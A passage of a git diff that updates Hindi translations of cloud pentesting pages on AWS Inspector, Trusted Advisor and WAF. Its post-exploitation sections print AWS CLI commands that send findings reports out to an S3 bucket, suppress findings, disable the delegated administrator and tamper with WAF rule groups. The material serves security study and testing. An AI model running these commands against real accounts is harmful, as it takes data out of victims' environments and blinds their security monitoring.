डिफ़ॉल्ट रूप से, Amazon Inspector निम्नलिखित को स्कैन करेगा, लेकिन प्रत्येक सदस्य खाता 5 और कस्टम पथों को परिभाषित कर सकता है, और प्रत्येक प्रतिनिधि प्रशासक 10 तक: +एक और महत्वपूर्ण विशेषता EC2 Linux उदाहरणों के लिए **गहन निरीक्षण** है। यह विशेषता EC2 Linux उदाहरणों के सॉफ़्टवेयर और कॉन्फ़िगरेशन का गहन विश्लेषण प्रदान करती है, जिसमें ऑपरेटिंग सिस्टम की भेद्यताएँ, अनुप्रयोग की भेद्यताएँ, और गलत कॉन्फ़िगरेशन शामिल हैं, जो एक व्यापक सुरक्षा मूल्यांकन सुनिश्चित करती हैं। यह **कस्टम पथों** और इसके सभी उप-निर्देशिकाओं के निरीक्षण के माध्यम से प्राप्त किया जाता है। डिफ़ॉल्ट रूप से, Amazon Inspector निम्नलिखित को स्कैन करेगा, लेकिन प्रत्येक सदस्य खाता 5 और कस्टम पथ परिभाषित कर सकता है, और प्रत्येक प्रतिनिधि प्रशासक 10 तक: - `/usr/lib` - `/usr/lib64` @@ -63,22 +61,22 @@ Amazon Inspector Amazon EC2 उदाहरणों के लिए भेद Amazon Inspector Amazon Elastic Container Registry (ECR) कंटेनर छवियों के लिए मजबूत स्कैनिंग क्षमताएँ प्रदान करता है, यह सुनिश्चित करते हुए कि पैकेज भेद्यताएँ प्रभावी ढंग से पहचानी और प्रबंधित की जाती हैं। -- **Basic Scanning**: यह एक त्वरित और हल्का स्कैन है जो कंटेनर छवियों में ज्ञात OS पैकेज भेद्यताओं की पहचान करता है, जो ओपन-सोर्स Clair प्रोजेक्ट से मानक नियमों के सेट का उपयोग करता है। इस स्कैनिंग कॉन्फ़िगरेशन के साथ, आपके रिपॉजिटरी को पुश पर स्कैन किया जाएगा, या मैनुअल स्कैन करते समय। -- **Enhanced Scanning**: यह विकल्प पुश स्कैन के अलावा निरंतर स्कैनिंग सुविधा जोड़ता है। Enhanced scanning प्रत्येक कंटेनर छवि की परतों में गहराई से जाती है ताकि OS पैकेजों और प्रोग्रामिंग भाषाओं के पैकेजों में भेद्यताओं की उच्च सटीकता के साथ पहचान की जा सके। यह आधार छवि और किसी भी अतिरिक्त परतों का विश्लेषण करता है, संभावित सुरक्षा मुद्दों का एक व्यापक दृश्य प्रदान करता है। +- **Basic Scanning**: यह एक त्वरित और हल्का स्कैन है जो कंटेनर छवियों में ज्ञात OS पैकेज भेद्यताओं की पहचान करता है, जो ओपन-सोर्स Clair प्रोजेक्ट से मानक नियमों का उपयोग करता है। इस स्कैनिंग कॉन्फ़िगरेशन के साथ, आपके रिपॉजिटरी को पुश पर स्कैन किया जाएगा, या मैनुअल स्कैन करते समय। +- **Enhanced Scanning**: यह विकल्प पुश स्कैन के अलावा निरंतर स्कैनिंग सुविधा जोड़ता है। Enhanced scanning प्रत्येक कंटेनर छवि की परतों में गहराई से जाती है ताकि OS पैकेजों और प्रोग्रामिंग भाषाओं के पैकेजों में भेद्यताओं की पहचान की जा सके। यह आधार छवि और किसी भी अतिरिक्त परतों का विश्लेषण करता है, संभावित सुरक्षा मुद्दों का एक व्यापक दृश्य प्रदान करता है। #### Amazon Lambda functions scanning Amazon Inspector AWS Lambda कार्यों और इसकी परतों के लिए व्यापक स्कैनिंग क्षमताएँ शामिल करता है, जो सर्वर रहित अनुप्रयोगों की सुरक्षा और अखंडता सुनिश्चित करता है। Inspector Lambda कार्यों के लिए दो प्रकार की स्कैनिंग प्रदान करता है: -- **Lambda standard scanning**: यह डिफ़ॉल्ट विशेषता आपके Lambda कार्य और परतों में जोड़े गए सॉफ़्टवेयर भेद्यताओं की पहचान करती है। उदाहरण के लिए, यदि आपका कार्य किसी पुस्तकालय के संस्करण का उपयोग करता है जैसे python-jwt जिसमें ज्ञात भेद्यता है, तो यह एक निष्कर्ष उत्पन्न करता है। -- **Lambda code scanning**: सुरक्षा मुद्दों के लिए कस्टम अनुप्रयोग कोड का विश्लेषण करता है, जैसे कि इंजेक्शन दोष, डेटा लीक, कमजोर क्रिप्टोग्राफी, और एन्क्रिप्शन की कमी। यह पहचान की गई भेद्यताओं को उजागर करने वाले कोड स्निपेट्स को कैप्चर करता है, जैसे हार्डकोडेड क्रेडेंशियल्स। निष्कर्षों में समस्या को ठीक करने के लिए विस्तृत सुधार सुझाव और कोड स्निपेट्स शामिल हैं। +- **Lambda standard scanning**: यह डिफ़ॉल्ट विशेषता आपके Lambda कार्य और परतों में जोड़े गए सॉफ़्टवेयर भेद्यताओं की पहचान करती है। उदाहरण के लिए, यदि आपका कार्य python-jwt जैसे पुस्तकालय के एक संस्करण का उपयोग करता है जिसमें ज्ञात भेद्यता है, तो यह एक निष्कर्ष उत्पन्न करता है। +- **Lambda code scanning**: सुरक्षा मुद्दों के लिए कस्टम अनुप्रयोग कोड का विश्लेषण करता है, जैसे कि इंजेक्शन दोष, डेटा लीक, कमजोर क्रिप्टोग्राफी, और एन्क्रिप्शन की कमी। यह पहचान की गई भेद्यताओं को उजागर करने वाले कोड स्निपेट कैप्चर करता है, जैसे कि हार्डकोडेड क्रेडेंशियल्स। निष्कर्षों में मुद्दों को ठीक करने के लिए विस्तृत सुधार सुझाव और कोड स्निपेट शामिल होते हैं। #### **Center for Internet Security (CIS) scans** -Amazon Inspector CIS स्कैन शामिल करता है ताकि Amazon EC2 उदाहरण ऑपरेटिंग सिस्टम को Center for Internet Security (CIS) से सर्वश्रेष्ठ प्रथा सिफारिशों के खिलाफ बेंचमार्क किया जा सके। ये स्कैन सुनिश्चित करते हैं कि कॉन्फ़िगरेशन उद्योग-मानक सुरक्षा बुनियादी बातों का पालन करते हैं। +Amazon Inspector CIS स्कैन शामिल करता है ताकि Amazon EC2 उदाहरणों के ऑपरेटिंग सिस्टम को Center for Internet Security (CIS) से सर्वश्रेष्ठ प्रथा सिफारिशों के खिलाफ बेंचमार्क किया जा सके। ये स्कैन सुनिश्चित करते हैं कि कॉन्फ़िगरेशन उद्योग-मानक सुरक्षा बुनियादी बातों का पालन करते हैं। - **Configuration**: CIS स्कैन यह मूल्यांकन करते हैं कि क्या सिस्टम कॉन्फ़िगरेशन विशिष्ट CIS बेंचमार्क सिफारिशों को पूरा करते हैं, प्रत्येक जांच को एक CIS जांच ID और शीर्षक से जोड़ा जाता है। -- **Execution**: स्कैन उदाहरण टैग और परिभाषित शेड्यूल के आधार पर किए जाते हैं या अनुसूचित होते हैं। +- **Execution**: स्कैन उदाहरण टैग और परिभाषित शेड्यूल के आधार पर किए जाते हैं या निर्धारित किए जाते हैं। - **Results**: स्कैन के बाद के परिणाम यह संकेत करते हैं कि कौन सी जांच पास, स्किप, या फेल हुई, प्रत्येक उदाहरण की सुरक्षा स्थिति में अंतर्दृष्टि प्रदान करते हैं। ### Enumeration @@ -182,16 +180,16 @@ aws inspector list-exclusions --assessment-run-arn ## Rule packages aws inspector list-rules-packages ``` -### पोस्ट एक्सप्लोइटेशन +### Post Exploitation > [!TIP] -> हमलावर के दृष्टिकोण से, यह सेवा हमलावर को कमजोरियों और नेटवर्क एक्सपोजर को खोजने में मदद कर सकती है जो उसे अन्य इंस्टेंस/कंटेनरों को समझौता करने में मदद कर सकती है। +> हमलावर के दृष्टिकोण से, यह सेवा हमलावर को कमजोरियों और नेटवर्क एक्सपोजर्स को खोजने में मदद कर सकती है जो उसे अन्य इंस्टेंस/कंटेनरों को समझौता करने में मदद कर सकती हैं। > > हालाँकि, एक हमलावर इस सेवा को बाधित करने में भी रुचि रख सकता है ताकि पीड़ित कमजोरियों (सभी या विशिष्ट) को न देख सके। #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` -एक हमलावर कमजोरियों या सॉफ़्टवेयर बिल ऑफ मटेरियल्स (SBOMs) की विस्तृत रिपोर्ट उत्पन्न कर सकता है और उन्हें आपके AWS वातावरण से एक्सफिल्ट्रेट कर सकता है। इस जानकारी का उपयोग विशिष्ट कमजोरियों, पुराने सॉफ़्टवेयर, या असुरक्षित निर्भरताओं की पहचान करने के लिए किया जा सकता है, जिससे लक्षित हमले संभव हो सकते हैं। +एक हमलावर कमजोरियों या सॉफ़्टवेयर बिल ऑफ मटेरियल्स (SBOMs) की विस्तृत रिपोर्ट उत्पन्न कर सकता है और उन्हें आपके AWS वातावरण से एक्सफिल्ट्रेट कर सकता है। इस जानकारी का उपयोग विशिष्ट कमजोरियों, पुराने सॉफ़्टवेयर, या असुरक्षित निर्भरताओं की पहचान करने के लिए किया जा सकता है, जिससे लक्षित हमले संभव होते हैं। ```bash # Findings report aws inspector2 create-findings-report --report-format --s3-destination [--filter-criteria ] @@ -257,7 +255,7 @@ aws inspector2 create-sbom-report --report-format --s ] } ``` -3. **खोज रिपोर्ट** बनाने के लिए कमांड निष्पादित करें, इसे एक्सफिल्ट्रेट करते हुए: +3. निष्कर्ष रिपोर्ट **बनाने** के लिए कमांड निष्पादित करें: ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` @@ -272,11 +270,11 @@ aws inspector2 cancel-findings-report --report-id # Cancel SBOM report generatiom aws inspector2 cancel-sbom-export --report-id ``` -- **संभावित प्रभाव**: सुरक्षा निगरानी में बाधा और सुरक्षा मुद्दों की समय पर पहचान और सुधार की रोकथाम। +- **संभावित प्रभाव**: सुरक्षा निगरानी में विघटन और सुरक्षा मुद्दों की समय पर पहचान और सुधार की रोकथाम। #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -इन अनुमतियों के साथ एक हमलावर उन फ़िल्टरिंग नियमों में हेरफेर कर सकता है जो यह निर्धारित करते हैं कि कौन सी कमजोरियाँ और सुरक्षा मुद्दे रिपोर्ट किए जाते हैं या दबाए जाते हैं (यदि **क्रिया** SUPPRESS पर सेट की गई है, तो एक दबाव नियम बनाया जाएगा)। इससे सुरक्षा प्रशासकों से महत्वपूर्ण कमजोरियाँ छिप सकती हैं, जिससे इन कमजोरियों का शोषण करना बिना पहचान के आसान हो जाता है। महत्वपूर्ण फ़िल्टर को बदलकर या हटाकर, एक हमलावर अप्रासंगिक निष्कर्षों के साथ प्रणाली को भरकर शोर भी पैदा कर सकता है, जिससे प्रभावी सुरक्षा निगरानी और प्रतिक्रिया में बाधा आती है। +इन अनुमतियों के साथ एक हमलावर उन फ़िल्टरिंग नियमों में हेरफेर कर सकेगा जो यह निर्धारित करते हैं कि कौन सी कमजोरियाँ और सुरक्षा मुद्दे रिपोर्ट किए जाते हैं या दबाए जाते हैं (यदि **क्रिया** SUPPRESS पर सेट की गई है, तो एक दबाव नियम बनाया जाएगा)। इससे सुरक्षा प्रशासकों से महत्वपूर्ण कमजोरियाँ छिप सकती हैं, जिससे इन कमजोरियों का शोषण करना बिना पहचान के आसान हो जाता है। महत्वपूर्ण फ़िल्टर को बदलकर या हटाकर, एक हमलावर अप्रासंगिक निष्कर्षों के साथ प्रणाली को भरकर शोर भी पैदा कर सकता है, जिससे प्रभावी सुरक्षा निगरानी और प्रतिक्रिया में बाधा आती है। ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -291,13 +289,13 @@ aws inspector2 delete-filter --arn एक हमलावर सुरक्षा प्रबंधन संरचना को महत्वपूर्ण रूप से बाधित कर सकता है। -- प्रतिनिधि प्रशासनिक खाते को निष्क्रिय करके, हमलावर सुरक्षा टीम को Amazon Inspector सेटिंग्स और रिपोर्टों तक पहुँचने और प्रबंधित करने से रोक सकता है। -- एक अनधिकृत प्रशासनिक खाते को सक्षम करने से हमलावर को सुरक्षा कॉन्फ़िगरेशन को नियंत्रित करने की अनुमति मिलेगी, संभावित रूप से स्कैन को निष्क्रिय करने या सेटिंग्स को संशोधित करने के लिए ताकि दुर्भावनापूर्ण गतिविधियों को छिपाया जा सके। +- प्रतिनिधि प्रशासन खाता बंद करने पर, हमलावर सुरक्षा टीम को Amazon Inspector सेटिंग्स और रिपोर्ट्स तक पहुँचने और प्रबंधित करने से रोक सकता है। +- एक अनधिकृत प्रशासन खाता सक्षम करने से हमलावर को सुरक्षा कॉन्फ़िगरेशन को नियंत्रित करने की अनुमति मिलेगी, संभावित रूप से स्कैन को बंद करने या सेटिंग्स को संशोधित करने के लिए ताकि दुर्भावनापूर्ण गतिविधियों को छिपाया जा सके। > [!WARNING] -> अनधिकृत खाते को प्रतिनिधि प्रशासनिक बनने के लिए पीड़ित के समान संगठन में होना आवश्यक है। +> अनधिकृत खाता को प्रतिनिधि प्रशासन बनने के लिए पीड़ित के समान संगठन में होना आवश्यक है। > -> अनधिकृत खाते को प्रतिनिधि प्रशासनिक बनने के लिए, यह भी आवश्यक है कि जब वैध प्रतिनिधि प्रशासनिक को निष्क्रिय किया जाए, और अनधिकृत खाते को प्रतिनिधि प्रशासनिक के रूप में सक्षम करने से पहले, वैध प्रशासनिक को संगठन से प्रतिनिधि प्रशासनिक के रूप में रद्द किया जाना चाहिए। यह निम्नलिखित कमांड के साथ किया जा सकता है (**`organizations:DeregisterDelegatedAdministrator`** अनुमति आवश्यक): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** +> अनधिकृत खाता को प्रतिनिधि प्रशासन बनने के लिए, यह भी आवश्यक है कि जब वैध प्रतिनिधि प्रशासन को बंद किया जाए, और अनधिकृत खाता को प्रतिनिधि प्रशासन के रूप में सक्षम करने से पहले, वैध प्रशासन को संगठन से प्रतिनिधि प्रशासन के रूप में रद्द किया जाना चाहिए। इसे निम्नलिखित कमांड के साथ किया जा सकता है (**`organizations:DeregisterDelegatedAdministrator`** अनुमति आवश्यक): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id @@ -318,7 +316,7 @@ aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` -- **संभावित प्रभाव**: सुरक्षा स्कैन से प्रमुख खातों को बाहर करना, कमजोरियों के अव्यक्त शोषण की अनुमति देना। +- **संभावित प्रभाव**: सुरक्षा स्कैन से प्रमुख खातों को बाहर करना, कमजोरियों के शोषण को बिना पता लगाए सक्षम करना। #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index 454cbc65b..4c04c7107 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -1,14 +1,12 @@ # AWS - Trusted Advisor Enum -## AWS - Trusted Advisor Enum - {{#include ../../../../banners/hacktricks-training.md}} ## AWS Trusted Advisor Overview -Trusted Advisor एक सेवा है जो **आपके AWS खाते को अनुकूलित करने के लिए सिफारिशें** प्रदान करती है, **AWS सर्वोत्तम प्रथाओं** के साथ संरेखित होती है। यह एक सेवा है जो कई क्षेत्रों में कार्य करती है। Trusted Advisor चार प्रमुख श्रेणियों में अंतर्दृष्टि प्रदान करता है: +Trusted Advisor एक सेवा है जो **सिफारिशें प्रदान करती है** ताकि आप अपने AWS खाते को अनुकूलित कर सकें, **AWS सर्वोत्तम प्रथाओं** के अनुसार। यह एक सेवा है जो कई क्षेत्रों में कार्य करती है। Trusted Advisor चार प्रमुख श्रेणियों में अंतर्दृष्टि प्रदान करता है: -1. **Cost Optimization:** खर्च कम करने के लिए संसाधनों को पुनर्गठित करने का सुझाव देता है। +1. **Cost Optimization:** संसाधनों को पुनर्गठित करने के तरीके सुझाता है ताकि खर्च कम हो सके। 2. **Performance:** संभावित प्रदर्शन बाधाओं की पहचान करता है। 3. **Security:** कमजोरियों या कमजोर सुरक्षा कॉन्फ़िगरेशन के लिए स्कैन करता है। 4. **Fault Tolerance:** सेवा की लचीलापन और दोष सहिष्णुता को बढ़ाने के लिए प्रथाओं की सिफारिश करता है। @@ -34,7 +32,7 @@ Trusted Advisor की व्यापक सुविधाएँ केवल #### Core Checks -बिजनेस या उद्यम समर्थन योजनाओं के बिना उपयोगकर्ताओं तक सीमित: +बिजनेस या उद्यम समर्थन योजनाओं के बिना उपयोगकर्ताओं के लिए सीमित: 1. Security Groups - Specific Ports Unrestricted 2. IAM Use @@ -48,7 +46,7 @@ Trusted Advisor की व्यापक सुविधाएँ केवल सुरक्षा खतरों की पहचान और सुधार पर केंद्रित जांचों की सूची: - उच्च-जोखिम पोर्ट के लिए सुरक्षा समूह सेटिंग्स -- सुरक्षा समूह अनियंत्रित पहुँच +- सुरक्षा समूह की अनियंत्रित पहुँच - S3 बकेट्स के लिए खुली लिखने/सूची पहुँच - रूट खाते पर MFA सक्षम - RDS सुरक्षा समूह की उदारता diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index b0b214b1c..136d3f1db 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -1,7 +1,5 @@ # AWS - WAF Enum -## AWS - WAF Enum - {{#include ../../../../banners/hacktricks-training.md}} ## AWS WAF @@ -16,7 +14,7 @@ Web ACL नियमों का एक संग्रह है जिसे #### Rule Group -Rule Group नियमों का एक पुन: प्रयोज्य संग्रह है जिसे आप कई Web ACLs पर लागू कर सकते हैं। नियम समूह विभिन्न वेब एप्लिकेशन या APIs के बीच लगातार नियम सेट को प्रबंधित और बनाए रखने में मदद करते हैं। +Rule Group नियमों का एक पुन: प्रयोज्य संग्रह है जिसे आप कई Web ACLs पर लागू कर सकते हैं। नियम समूह विभिन्न वेब एप्लिकेशन या APIs के बीच लगातार नियम सेट प्रबंधित और बनाए रखने में मदद करते हैं। प्रत्येक नियम समूह का अपना संबंधित **क्षमता** होती है, जो आपके नियमों, नियम समूहों और वेब ACLs को चलाने के लिए उपयोग किए जाने वाले संचालन संसाधनों की गणना और नियंत्रण में मदद करती है। एक बार जब इसका मान निर्माण के दौरान सेट किया जाता है, तो इसे संशोधित करना संभव नहीं होता। @@ -25,7 +23,7 @@ Rule Group नियमों का एक पुन: प्रयोज्य एक नियम उन शर्तों का एक सेट परिभाषित करता है जिसका उपयोग AWS WAF आने वाले वेब अनुरोधों का निरीक्षण करने के लिए करता है। नियमों के दो मुख्य प्रकार हैं: 1. **Regular Rule**: यह नियम प्रकार निर्दिष्ट शर्तों का उपयोग करता है यह निर्धारित करने के लिए कि वेब अनुरोधों को अनुमति दी जाए, अवरुद्ध किया जाए, या गिना जाए। -2. **Rate-Based Rule**: एक विशेष IP पते से पांच मिनट की अवधि में अनुरोधों की गिनती करता है। यहां, उपयोगकर्ता एक सीमा परिभाषित करते हैं, और यदि किसी IP से अनुरोधों की संख्या इस सीमा को पांच मिनट के भीतर पार कर जाती है, तो उस IP से आने वाले अगले अनुरोधों को अवरुद्ध कर दिया जाता है जब तक कि अनुरोध दर सीमा के नीचे नहीं गिरती। दर-आधारित नियमों के लिए न्यूनतम सीमा **2000 अनुरोध** है। +2. **Rate-Based Rule**: एक विशेष IP पते से पांच मिनट की अवधि में अनुरोधों की गिनती करता है। यहाँ, उपयोगकर्ता एक सीमा निर्धारित करते हैं, और यदि किसी IP से अनुरोधों की संख्या इस सीमा को पांच मिनट के भीतर पार कर जाती है, तो उस IP से आने वाले अगले अनुरोधों को अवरुद्ध कर दिया जाता है जब तक कि अनुरोध दर सीमा के नीचे नहीं गिरती। दर-आधारित नियमों के लिए न्यूनतम सीमा **2000 अनुरोध** है। #### Managed Rules @@ -33,7 +31,7 @@ AWS WAF पूर्व-निर्धारित, प्रबंधित #### IP Set -IP Set उन IP पतों या IP पते की रेंज की एक सूची है जिन्हें आप अनुमति देना या अवरुद्ध करना चाहते हैं। IP सेट IP-आधारित नियमों को प्रबंधित करने की प्रक्रिया को सरल बनाते हैं। +एक IP Set उन IP पतों या IP पते की रेंज की सूची है जिन्हें आप अनुमति देना या अवरुद्ध करना चाहते हैं। IP सेट IP-आधारित नियमों को प्रबंधित करने की प्रक्रिया को सरल बनाते हैं। #### Regex Pattern Set @@ -41,24 +39,24 @@ IP Set उन IP पतों या IP पते की रेंज की ए #### Lock Token -Lock Token का उपयोग WAF संसाधनों को अपडेट करते समय समवर्ती नियंत्रण के लिए किया जाता है। यह सुनिश्चित करता है कि परिवर्तन गलती से कई उपयोगकर्ताओं या प्रक्रियाओं द्वारा एक ही संसाधन को एक साथ अपडेट करने के प्रयास में अधिलेखित नहीं होते हैं। +एक Lock Token WAF संसाधनों को अपडेट करते समय समवर्ती नियंत्रण के लिए उपयोग किया जाता है। यह सुनिश्चित करता है कि परिवर्तन गलती से कई उपयोगकर्ताओं या प्रक्रियाओं द्वारा एक ही संसाधन को एक साथ अपडेट करने के प्रयास में अधिलेखित नहीं होते हैं। #### API Keys -AWS WAF में API Keys का उपयोग कुछ API संचालन के लिए अनुरोधों को प्रमाणित करने के लिए किया जाता है। ये कुंजी एन्क्रिप्टेड होती हैं और सुरक्षित रूप से प्रबंधित की जाती हैं ताकि पहुंच को नियंत्रित किया जा सके और यह सुनिश्चित किया जा सके कि केवल अधिकृत उपयोगकर्ता WAF कॉन्फ़िगरेशन में परिवर्तन कर सकें। +AWS WAF में API Keys का उपयोग कुछ API संचालन के लिए अनुरोधों को प्रमाणित करने के लिए किया जाता है। ये कुंजी एन्क्रिप्टेड होती हैं और सुरक्षित रूप से प्रबंधित की जाती हैं ताकि पहुँच को नियंत्रित किया जा सके और यह सुनिश्चित किया जा सके कि केवल अधिकृत उपयोगकर्ता WAF कॉन्फ़िगरेशन में परिवर्तन कर सकें। - **Example**: CAPTCHA API का एकीकरण। #### Permission Policy -एक Permission Policy एक IAM नीति है जो यह निर्दिष्ट करती है कि कौन AWS WAF संसाधनों पर क्रियाएँ कर सकता है। अनुमतियों को परिभाषित करके, आप WAF संसाधनों तक पहुंच को नियंत्रित कर सकते हैं और यह सुनिश्चित कर सकते हैं कि केवल अधिकृत उपयोगकर्ता कॉन्फ़िगरेशन बना, अपडेट या हटा सकें। +एक Permission Policy एक IAM नीति है जो यह निर्दिष्ट करती है कि कौन AWS WAF संसाधनों पर क्रियाएँ कर सकता है। अनुमतियों को परिभाषित करके, आप WAF संसाधनों तक पहुँच को नियंत्रित कर सकते हैं और यह सुनिश्चित कर सकते हैं कि केवल अधिकृत उपयोगकर्ता कॉन्फ़िगरेशन बना, अपडेट या हटा सकें। #### Scope -AWS WAF में स्कोप पैरामीटर यह निर्दिष्ट करता है कि क्या WAF नियम और कॉन्फ़िगरेशन क्षेत्रीय एप्लिकेशन या Amazon CloudFront वितरण पर लागू होते हैं। +AWS WAF में स्कोप पैरामीटर यह निर्दिष्ट करता है कि क्या WAF नियम और कॉन्फ़िगरेशन एक क्षेत्रीय एप्लिकेशन या एक Amazon CloudFront वितरण पर लागू होते हैं। -- **REGIONAL**: क्षेत्रीय सेवाओं पर लागू होता है जैसे कि एप्लिकेशन लोड बैलेंसर (ALB), Amazon API गेटवे REST API, AWS AppSync GraphQL API, Amazon Cognito उपयोगकर्ता पूल, AWS App Runner सेवा और AWS Verified Access उदाहरण। आप उस AWS क्षेत्र को निर्दिष्ट करते हैं जहां ये संसाधन स्थित हैं। -- **CLOUDFRONT**: Amazon CloudFront वितरण पर लागू होता है, जो वैश्विक होते हैं। CloudFront के लिए WAF कॉन्फ़िगरेशन `us-east-1` क्षेत्र के माध्यम से प्रबंधित होते हैं चाहे सामग्री कहीं भी सेवा दी जाए। +- **REGIONAL**: क्षेत्रीय सेवाओं पर लागू होता है जैसे कि एप्लिकेशन लोड बैलेंसर (ALB), Amazon API गेटवे REST API, AWS AppSync GraphQL API, Amazon Cognito उपयोगकर्ता पूल, AWS App Runner सेवा और AWS Verified Access उदाहरण। आप उस AWS क्षेत्र को निर्दिष्ट करते हैं जहाँ ये संसाधन स्थित हैं। +- **CLOUDFRONT**: Amazon CloudFront वितरणों पर लागू होता है, जो वैश्विक होते हैं। CloudFront के लिए WAF कॉन्फ़िगरेशन `us-east-1` क्षेत्र के माध्यम से प्रबंधित होते हैं चाहे सामग्री कहीं भी परोसी जाए। ### Key features @@ -68,10 +66,10 @@ AWS WAF में स्कोप पैरामीटर यह निर् प्रत्येक AWS खाता कॉन्फ़िगर कर सकता है: -- **100 शर्तें** प्रत्येक प्रकार के लिए (Regex के लिए, जहां केवल **10 शर्तें** अनुमति दी जाती हैं, लेकिन इस सीमा को बढ़ाया जा सकता है)। -- **100 नियम** और **50 Web ACLs**। -- अधिकतम **5 दर-आधारित नियम**। -- जब WAF को एक एप्लिकेशन लोड बैलेंसर के साथ लागू किया जाता है, तो **10,000 अनुरोध प्रति सेकंड** की थ्रूपुट। +- **100 conditions** प्रत्येक प्रकार के लिए (Regex के लिए, जहाँ केवल **10 conditions** की अनुमति है, लेकिन इस सीमा को बढ़ाया जा सकता है)। +- **100 rules** और **50 Web ACLs**। +- अधिकतम **5 rate-based rules**। +- जब WAF को एक एप्लिकेशन लोड बैलेंसर के साथ लागू किया जाता है, तो **10,000 requests per second** की थ्रूपुट। #### Rule actions @@ -80,13 +78,13 @@ AWS WAF में स्कोप पैरामीटर यह निर् - **Allow**: अनुरोध को उचित CloudFront वितरण या एप्लिकेशन लोड बैलेंसर पर अग्रेषित किया जाता है। - **Block**: अनुरोध को तुरंत समाप्त कर दिया जाता है। - **Count**: नियम की शर्तों को पूरा करने वाले अनुरोधों की गिनती करता है। यह नियम परीक्षण के लिए उपयोगी है, नियम की सटीकता की पुष्टि करने के लिए इससे पहले कि इसे Allow या Block पर सेट किया जाए। -- **CAPTCHA and Challenge:** यह सत्यापित किया जाता है कि अनुरोध बॉट से नहीं आता है, CAPTCHA पहेलियों और चुपचाप चुनौतियों का उपयोग करके। +- **CAPTCHA and Challenge:** यह सत्यापित किया जाता है कि अनुरोध बॉट से नहीं आता है CAPTCHA पहेलियों और चुपचाप चुनौतियों का उपयोग करके। -यदि कोई अनुरोध Web ACL के भीतर किसी भी नियम से मेल नहीं खाता है, तो यह **डिफ़ॉल्ट क्रिया** (Allow या Block) के अधीन होता है। नियम निष्पादन का क्रम, जो Web ACL के भीतर परिभाषित होता है, महत्वपूर्ण है और आमतौर पर इस अनुक्रम का पालन करता है: +यदि कोई अनुरोध Web ACL के भीतर किसी भी नियम से मेल नहीं खाता है, तो यह **डिफ़ॉल्ट क्रिया** (Allow या Block) का पालन करता है। नियम निष्पादन का क्रम, जो Web ACL के भीतर परिभाषित होता है, महत्वपूर्ण है और आमतौर पर इस अनुक्रम का पालन करता है: -1. Whitelisted IPs को अनुमति दें। -2. Blacklisted IPs को अवरुद्ध करें। -3. किसी भी हानिकारक हस्ताक्षरों से मेल खाने वाले अनुरोधों को अवरुद्ध करें। +1. Allow Whitelisted IPs. +2. Block Blacklisted IPs. +3. Block requests matching any detrimental signatures. #### CloudWatch Integration @@ -94,7 +92,7 @@ AWS WAF CloudWatch के साथ एकीकृत होता है, न ### Enumeration -CloudFront वितरण के साथ बातचीत करने के लिए, आपको क्षेत्र US East (N. Virginia) निर्दिष्ट करना होगा: +CloudFront वितरणों के साथ बातचीत करने के लिए, आपको क्षेत्र US East (N. Virginia) निर्दिष्ट करना होगा: - CLI - जब आप CloudFront स्कोप का उपयोग करते हैं तो क्षेत्र US East निर्दिष्ट करें: `--scope CLOUDFRONT --region=us-east-1`। - API और SDKs - सभी कॉल के लिए, क्षेत्र अंत बिंदु us-east-1 का उपयोग करें। @@ -192,13 +190,13 @@ aws wafv2 get-mobile-sdk-release --platform --release-version > > हालाँकि, एक हमलावर इस सेवा को बाधित करने में भी रुचि रख सकता है ताकि वेब WAF द्वारा सुरक्षित न हों। -Delete और Update ऑपरेशनों में **लॉक टोकन** प्रदान करना आवश्यक होगा। यह टोकन संसाधनों पर समवर्ती नियंत्रण के लिए उपयोग किया जाता है, यह सुनिश्चित करते हुए कि परिवर्तन कई उपयोगकर्ताओं या प्रक्रियाओं द्वारा एक ही संसाधन को एक साथ अपडेट करने के प्रयास में गलती से अधिलेखित नहीं होते हैं। इस टोकन को प्राप्त करने के लिए आप विशिष्ट संसाधन पर संबंधित **सूची** या **प्राप्त** ऑपरेशनों को कर सकते हैं। +कई Delete और Update ऑपरेशनों में **लॉक टोकन** प्रदान करना आवश्यक होगा। यह टोकन संसाधनों पर समवर्ती नियंत्रण के लिए उपयोग किया जाता है, यह सुनिश्चित करते हुए कि परिवर्तन कई उपयोगकर्ताओं या प्रक्रियाओं द्वारा एक ही संसाधन को एक साथ अपडेट करने के प्रयास में गलती से अधिलेखित नहीं होते हैं। इस टोकन को प्राप्त करने के लिए आप विशिष्ट संसाधन पर संबंधित **सूची** या **प्राप्त** ऑपरेशनों को कर सकते हैं। #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** एक हमलावर प्रभावित संसाधन की सुरक्षा को समझौता करने में सक्षम होगा: -- नियम समूह बनाना जो, उदाहरण के लिए, वैध IP पते से वैध ट्रैफ़िक को ब्लॉक कर सकता है, जिससे सेवा का इनकार होता है। +- नियम समूह बनाना जो, उदाहरण के लिए, वैध आईपी पते से वैध ट्रैफ़िक को ब्लॉक कर सकता है, जिससे सेवा का इनकार होता है। - 